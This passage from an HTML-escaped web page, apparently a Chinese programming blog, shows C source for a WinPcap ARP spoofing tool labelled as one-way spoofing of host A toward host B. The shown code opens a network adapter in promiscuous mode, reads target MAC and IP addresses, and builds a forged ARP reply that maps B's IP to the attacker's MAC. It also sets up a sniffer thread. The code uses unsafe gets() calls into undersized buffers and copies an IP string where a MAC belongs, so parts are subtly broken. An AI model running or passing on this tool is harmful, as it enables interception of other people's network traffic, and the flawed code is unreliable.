style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;0;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">}<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">BOOL&nbsp;SendPacket(pcap_t&nbsp;*hpcap,char&nbsp;*Packet,int&nbsp;packetsize)<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">{<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;if(pcap_sendpacket(hpcap,Packet,packetsize)!=0)<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;{<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&#8220;\u6570\u636e\u5305\u53d1\u9001\u5931\u8d25\u3002\\n&#8221;);<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;ERROR;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;}<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;TRUE;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">}<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">pcap_t&nbsp;*OpenAdapter(char&nbsp;*devName)<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">{<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;pcap_t&nbsp;*hpcap=NULL;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;char&nbsp;errbuf[PCAP_ERRBUF_SIZE];<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;if((hpcap=pcap_open_live(devName,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/&nbsp;\u8bbe\u5907\u540d<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;65536,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/&nbsp;\u6307\u5b9a\u8981\u6355\u6349\u7684\u6570\u636e\u5305\u7684\u90e8\u5206,65536&nbsp;\u4fdd\u8bc1\u6240\u6709\u5728\u94fe\u8def\u5c42\u4e0a\u7684\u5305\u90fd\u80fd\u591f\u88ab\u6293\u5230<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;1,&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\"> <\/span><span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\"> <\/span><span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/&nbsp;\u6df7\u6742\u6a21\u5f0f<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;1000,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\"> <\/span><span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;\/\/&nbsp;\u8bfb\u6570\u636e\u7684\u8d85\u65f6\u65f6\u95f4<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;errbuf&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/&nbsp;\u9519\u8bef\u7f13\u51b2\u533a<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;))==NULL)<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;{<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&#8220;\u6253\u5f00\u7f51\u5361\u51fa\u9519\u3002\\n&#8221;);<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;NULL;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;}<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;hpcap;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">}<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">\/\/A&gt;&gt;&gt;&gt;&gt;\u5355\u5411\u6b3a\u9a97&gt;&gt;&gt;&gt;&gt;&gt;B<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">void&nbsp;Input(char&nbsp;*A_MAC,char&nbsp;*A_IP,char&nbsp;*B_MAC,char&nbsp;*B_IP)<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">{<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;printf(&#8220;A&gt;&gt;&gt;&gt;&gt;\u5355\u5411\u6b3a\u9a97&gt;&gt;&gt;&gt;&gt;&gt;B\\n&#8221;);<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;printf(&#8220;\u8bf7\u8f93\u5165A\u4e3b\u673a\u7684MAC:&#8221;);<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;fflush(stdin);<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;if(scanf(&#8220;%x-%x-%x-%x-%x-%x&#8221;,&amp;A_MAC[0],&amp;A_MAC[1],&amp;A_MAC[2],&amp;A_MAC[3],&amp;A_MAC[4],&amp;A_MAC[5])!=6)&nbsp;exit(-1);<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;printf(&#8220;\u8bf7\u8f93\u5165A\u4e3b\u673a\u7684IP:&#8221;);<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;fflush(stdin);<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;gets(A_IP);<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;printf(&#8220;\u8bf7\u8f93\u5165B\u4e3b\u673a\u7684MAC:&#8221;);<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;fflush(stdin);<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;if(scanf(&#8220;%x-%x-%x-%x-%x-%x&#8221;,&amp;B_MAC[0],&amp;B_MAC[1],&amp;B_MAC[2],&amp;B_MAC[3],&amp;B_MAC[4],&amp;B_MAC[5])!=6)&nbsp;exit(-1);<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;printf(&#8220;\u8bf7\u8f93\u5165B\u4e3b\u673a\u7684IP:&#8221;);<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;fflush(stdin);<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;gets(B_IP);<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">}<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">int&nbsp;main(int&nbsp;argc,char&nbsp;*argv[])<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">{<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;char&nbsp;devName[100];<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;char&nbsp;myIPAddress[15],myMAC[6];<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;char&nbsp;ARPPacket[42];<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;char&nbsp;A_IP[15]=&nbsp;{0},A_MAC[6]=&nbsp;{0};<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;char&nbsp;B_IP[15]=&nbsp;{0},B_MAC[6]=&nbsp;{0};<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;pcap_t&nbsp;*hpcap=NULL;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;HANDLE&nbsp;hSnifferThread;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;PacketInfo&nbsp;PI;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;unsigned&nbsp;long&nbsp;A_addr,B_addr;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;if(ChooseDev(devName,sizeof(devName),myIPAddress)!=TRUE)<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;{<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&#8220;\u83b7\u53d6\u7f51\u5361\u5931\u8d25\u3002\\n&#8221;);<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;getch();<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;-1;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;}<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u83b7\u53d6\u672c\u673a\u7f51\u5361MAC<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;if(GetAdapterMAC(myIPAddress,myMAC)!=TRUE)<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;{<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&#8220;\u83b7\u53d6\u7f51\u5361MAC\u5931\u8d25\u3002\\n&#8221;);<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;getch();<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;-1;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;}<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u6253\u5f00\u7f51\u5361<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;if((hpcap=OpenAdapter(devName))==NULL)<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;{<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&#8220;\u7f51\u5361\u6253\u5f00\u51fa\u9519\u3002\\n&#8221;);<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;getch();<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;-1;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;}<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u8f93\u5165\u6b3a\u9a97\u4e3b\u673a\u4fe1\u606f&nbsp;&nbsp;&nbsp;&nbsp;A&gt;&gt;&gt;&gt;&gt;\u5355\u5411\u6b3a\u9a97&gt;&gt;&gt;&gt;&gt;&gt;B<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;Input(A_MAC,A_IP,B_MAC,B_IP);<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;A_addr=inet_addr(A_IP);<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;B_addr=inet_addr(B_IP);<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u4ee5ARP\u5e94\u7b54\u7684\u65b9\u5f0f\u6b3a\u9a97\u4e3b\u673aA<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;Fill_ARPPACKET(ARPPacket,sizeof(ARPPacket),A_MAC,(char&nbsp;*)&amp;A_addr,myMAC,(char&nbsp;*)&amp;B_addr,2);<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u586b\u5145\u4f20\u9012\u53c2\u6570<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;PI.hpcap=hpcap;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;memcpy(PI.srcMAC,A_IP,6);<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;memcpy(PI.desIP,(char&nbsp;*)&amp;B_addr,4);<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span 